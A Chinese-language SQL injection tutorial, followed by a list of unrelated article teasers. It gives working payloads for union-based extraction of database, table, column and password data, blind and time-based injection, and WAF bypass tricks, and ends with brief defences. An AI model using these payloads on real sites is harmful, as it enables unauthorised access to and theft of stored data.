【SQL注入】

SQL注入:通过可输入/修改sql参数实现攻击的过程

文章目录

        • 0x00 SQL注入漏洞原理
        • 0x01 前置知识
          • 1 SQL注入分类
          • 2 数据库知识
        • 0x02 是否存在SQL注入?
        • 0x03 不同SQL注入
          • 1. Union注入
          • 2. 盲注Blind
          • 3. base64注入
        • 0x04 SQL注入绕过技术
        • 0x05 SQL防注入

0x00 SQL注入漏洞原理

满足2条件:

​ 参数用户可控、参数带入数据库查询

0x01 前置知识
1 SQL注入分类
  • Union注入
  • Boolean
  • 报错
  • 盲注
2 数据库知识

mysql 5.0后1库3张表和字段:

Information_schma
表名:Information_schma.schemata表名:Information_schma.TABLES       字段:TABLE_SCHEMA()TABLE_NAME()表名:Information_schma.COLUMNS    字段:TABLE_SCHEMA()TABLE_NAME()BOLUMN_NAME(字段)

函数及注释:

  • limit函数:limit 0,1 :第0行开始,取1条记录

  • Database():当前网站使用的数据库

  • Version():当前MySQL版本

  • User():当前MySQL的用户

  • 注释符:# 、 – 、 /**/

  • 内联注释:

    /*!code*/  
    用来执行我们的sql语句
    示例:   Index.php?id=-15 /*!UNION#/ /*!SELECT*/ 1,2,3
    
0x02 是否存在SQL注入?
1
1'
1 and 1=1
1 and 1=2

"1 and 1=1"的Reply和1的一致,"1 and 1=2"和1的Reply和1的不一致,说明存在SQL注入。

0x03 不同SQL注入
1. Union注入

第一步:判断是否存在注入

原理:1和1and 1=1 返回结果一致
参考:如果order by也可执行的话,sql注入优先考虑 union注入

参考2:堆叠查询注入与union注入相似

#只是堆叠的是另一条查询语句
1' ;select if(substr(user(),1,1)='v',sleep(5),1) %23

union后续步骤

  1. 注入的sql语句中字段个数: order by 字段数
1' order by 1
  1. 回显字段的记录:
    注意:mysql联合查询每个 SELECT 语句的列数和对应位置的数据类型必须相同。
unsion select 1,2
示例:
SELECT first_name, last_name FROM users WHERE user_id = 1 union select 1,2
/*
结果为first_name, last_name和记录是1,2的记录联合查询,
我们要把1,2当作列使用, 解决:最好是同一张表的字段名(因为有相同行数)
所以在表查询中2位置可替换为 函数
直接查database()结果为 记录数的行数条的数据库名
*/
  1. 找指定记录
    当前数据库,当前库中表,当前表中字段,知道字段替换1,2名称
#当前数据库名
1' union select 1,database() # 
#当前库中表名
1' union select 1,table_name from information_schema.tables where table_schema=database() #
# 当前表字段
1' union select 1,column_name from information_schema.columns where table_name='users' #

查所需数据

#此时可以替换union select 1,22处位置 
1' union select user,password from users #
2. 盲注Blind

原理:回显为 是或否 及类似 方式
分类:

本人觉得如:报错注入(yes/no)、时间盲注(response时间)都可归为一种,但利用的方法不同。
只是利用了server的 response 或者 反应机制。

利用方法:

length(database())substr(database(),1,1)='d'
updatexml(1,concat(0x7e,(select user()),0x7e),1) 
sleep()benchmark()#如if(length(database())>1,sleep(5),1)

步骤前提:存在SQL注入

#本示例参数为规律性ID序号
1
1' and 1=1 #
1' and 1=2 #

步骤:
数据库名,表名,记录内容

#判断数据库名长度
1' and length(database()) >=1 #
#数据库名
1' and substr(database(),1,1)='d' #substr:截取第1个字符,返回1个
或 1' and ord(substr(database(),1,1))=115 #
/**
第2种时ASCII码的字符,ord函数转换
可以考虑用Burp爆破字典
**/
# 表名、字段,记录
# 每个表名,每个表名字符都需挨个检查。推荐字典爆破。
1' and substr((select table_name from information_schema.tables where table_schema='dvwa' limit 0,1),1,1)='g' #
/**
表名,字段名知道后,依然是对 关键的记录 进行 字符判断
**/
1' and substr((select password from users where xx=xx),limit 0,1)1,1) #



3. base64注入

原理:发送请求message时参数通过 url 编码如base64编码方式。(%3d是base64编码的显著特征)
解决:只要知道特殊字符的base64编码和union注入即可。

利用场景:
 url + union 绕过WAF: 对参数ID的检查。


XFF注入

​ X-Forwarded-for:客户端真实IP。一个HTTP协议拓展头,

​ 可设置其值,127.0.0.1’ 1=1 # 其他类似union注入


0x04 SQL注入绕过技术
#判断是否存在SQL注入的步骤
1
1'
1 and 1=1
1 and 1=2
/**
当1'和1回显不一致,1 and 1=1通过且和1 的结果一致,说明存在SQL注入
但是1 and 1=1 ,和前两者的返回都不一样且报错,说明什么?

关键字被过滤:如and、or、order by、
思考:被谁过滤?关键字的过滤放置到WAF/前端/后端?

bypass绕过方式:

  • 关键字大小写绕过
    对关键字如and …改变字符大小写。如:改为:And尝试绕过。
  • 关键字双写绕过
    ​如关键字and被过滤,使用 anandd
  • 编码绕过
    服务器对URL解码一次,所以对URL全编码时编码2次,如只过滤关键字可只编码关键字
  • 内联注释绕过
    与mysql的内联注释符/!and/相关。
    如: id=1/*!and*/ 1=1



0x05 SQL防注入

防注入方式:

  • 过滤危险字符
    (如发现一些关键字(and、sleep等其他函数)则退出程序)
    ​ 注:一定程度可防止SQL注入,但仍然可以绕过

  • 预编译sql语句
    ​ (对数据库增删改查时不直接查询,而是使用占位符,对参数进行检查后,再进行语句)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/37988.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络爬虫的应用场景

网络爬虫的应用场景 网络爬虫的应用场景在现代信息化社会中显得尤为广泛和重要。除了我们熟知的搜索引擎利用爬虫技术抓取互联网上的信息以提供用户搜索服务外,还有许多其他领域也依赖于网络爬虫的高效运作。 在电商领域,网络爬虫被广泛应用于价格监控…

最强文生图模型Stable Diffusion 3 Medium 正式开源

Stability AI 宣布 Stable Diffusion 3 Medium 现已开源,是 Stable Diffusion 3 系列中最新、最先进的文本生成图像 AI 模型 —— 官方声称是 “迄今为止最先进的开源模型”,其性能甚至超过了 Midjourney 6。 Stable Diffusion 3 Medium 模型规格参数达到…

获取 url 地址栏 ? 后面的查询字符串,并以键值对形式放到对象里面

写在前面 在前端面试当中,关于 url 相关的问题很常见,而对于 url 请求参数的问题也很常见,大部分以笔试题常见,今天就根据这道面试题一起来看一下。 问题 获取 url 地址栏?后面的查询字符串,并以键值对形式放到对象…

[分布式网络通讯框架]----MprpcController以及Logger类

在calluserservice.cc中,使用UserServiceRpc_Stub类的时候,我们最终调用形式为:stub.Login(&controller,&request,&response,nullptr); 注意到其中有一个controller对象,这个是由MprpcController类定义出来的对象&…

LLVM AliasAnalysis别名分析 TBAA TypeBasedAliasAnalysis

一、什么是别名分析 Alias Analysis (又名 Pointer Analysis)是用于确定两个指针是否指向内存中的同一对象,这里有很多不同的别名分析算法,分为几种类型:流敏感vs流非敏感、上下文敏感vs上下文非敏感、域敏感vs域非敏感、基于一致性的vs基于…

单片机学习(16)--直流电机驱动

直流电机驱动 15.1直流电机驱动基础知识1.直流电机介绍2.电机驱动电路3.PWM介绍 15.2LED呼吸灯和直流电机调速1.LED呼吸灯代码2.直流电机调速(1)产生PWM的方法(2)工程目录(3)main.c函数 15.1直流电机驱动基…

isdecimal()方法——判断字符串是否只包含十进制字符

自学python如何成为大佬(目录):https://blog.csdn.net/weixin_67859959/article/details/139049996?spm1001.2014.3001.5501 语法参考 isdecimal()方法用于检查字符串是否只包含十进制字符。这种方法只适用于unicode对象。 注意:定义一个十进制字符串&#xff0c…

linux高级编程(进程)(2)

父子进程的关系: 子进程是父进程的副本。子进程获得父进程数据段,堆,栈,正文段共享。(子分配了一块新的内存,但是代码段指向父进程,也就是说不论几个子进程都只有一个code段) …

SpringCloud中复制模块然后粘贴,文件图标缺少蓝色方块

再maven中点击+号,把当前pom文件交给maven管理即可

RabbitMq的基础及springAmqp的使用

RabbitMq 官网:RabbitMQ: One broker to queue them all | RabbitMQ 什么是MQ? mq就是消息队列,消息队列遵循这先入先出原则。一般用来解决应用解耦,异步消息,流量削峰等问题,实现高性能,高可用&#xf…

容器技术-docker2

容器化技术Docker Docker介绍 官网: docker.io docker.com 公司名称:原名dotCloud 14年改名为docker 容器产品:docker 16年已经被更名为Moby docker-hub docker.io docker容器历史 和虚拟机一样,容器技术也是一种资源隔…

java基于ssm+jsp 二手手机回收平台系统

1前台首页功能模块 二手手机回收平台系统,在系统首页可以查看首页、手机商城、新闻资讯、我的、跳转到后台、购物车等内容,如图1所示。 图1前台首页功能界面图 用户注册,在用户注册页面可以填写账号、密码、姓名、手机、邮箱、照片、地址、…

深度解析RocketMq源码-消息推送、持久化、消费全流程

1.绪论 前面的几篇文章都剖析了broker的存储文件。那么生产者发送一条消息到达broker过后是如何处理的,这条消息结果什么处理过后,消费者才能够消费这条消息。接下来,带我们将仔细剖析一下一条消息从生产者生产消息,到到达broker…

在线字节大端序小端序转换器

具体请前往:在线字节大端序小端序转换器

操作系统期末复习真题四

一、前言🚀🚀🚀 小郑在刷题的过程中帮大家整理了一些常见的考试题目,以及易于遗忘的知识点,希望对大家有所帮助。 二、正文☀️☀️☀️ 1.OS的不确定性是指(ABC)。 A.程序的运行次序不确定 B.程序多次运行的时间不…

独立开发者系列(13)——示例理解面向对象与过程

专业术语晦涩难懂,特别是当你没有写过稍微大点的系统的时候,你要理解这里面的区别很难。 从最简单的早期我们学习开始,我们除了练习hello world掌握了入门函数之后,基本都再练习算法。比如水仙花数的获取,冒泡排序&…

Redis的使用和原理

目录 1.初识Redis 1.1 Redis是什么? 1.2 Redis的特性 1.2.1 速度快 1.2.2 基于键值对的数据结构服务器 1.2.3 丰富的功能 1.2.4 简单稳定 1.2.5 持久化 1.2.6 主从复制 1.2.7 高可用和分布式 1.3 Redis的使用场景 1.3.1 缓存 1.3.2 排行榜系统 1.3.3 计数器应用 1.3…

【计算机网络】HTTPS——更安全的HTTP通信(个人笔记)

学习日期:2024.6.26 内容摘要:HTTPS存在的意义、特点和工作方式 HTTP的缺点——易窃听、伪装、篡改 在Web及网络基础中,我们已经知道了网页是怎么打开的,HTTP确实是一个相当优秀和方便的协议,但HTTP也有很多不足&…

【操作系统期末速成】 EP04 | 学习笔记(基于五道口一只鸭)

文章目录 一、前言🚀🚀🚀二、正文:☀️☀️☀️2.1 考点七:进程通信2.2 考点八:线程的概念2.3 考点九:处理机调度的概念及原则2.4 考点十:调度方式与调度算法 一、前言🚀…

排序(冒泡排序、选择排序、插入排序、希尔排序)-->深度剖析(一)

欢迎来到我的Blog,点击关注哦💕 前言 排序是一种基本的数据处理操作,它涉及将一系列项目重新排列,以便按照指定的标准(通常是数值大小)进行排序。在C语言中,排序算法是用来对元素进行排序的一系…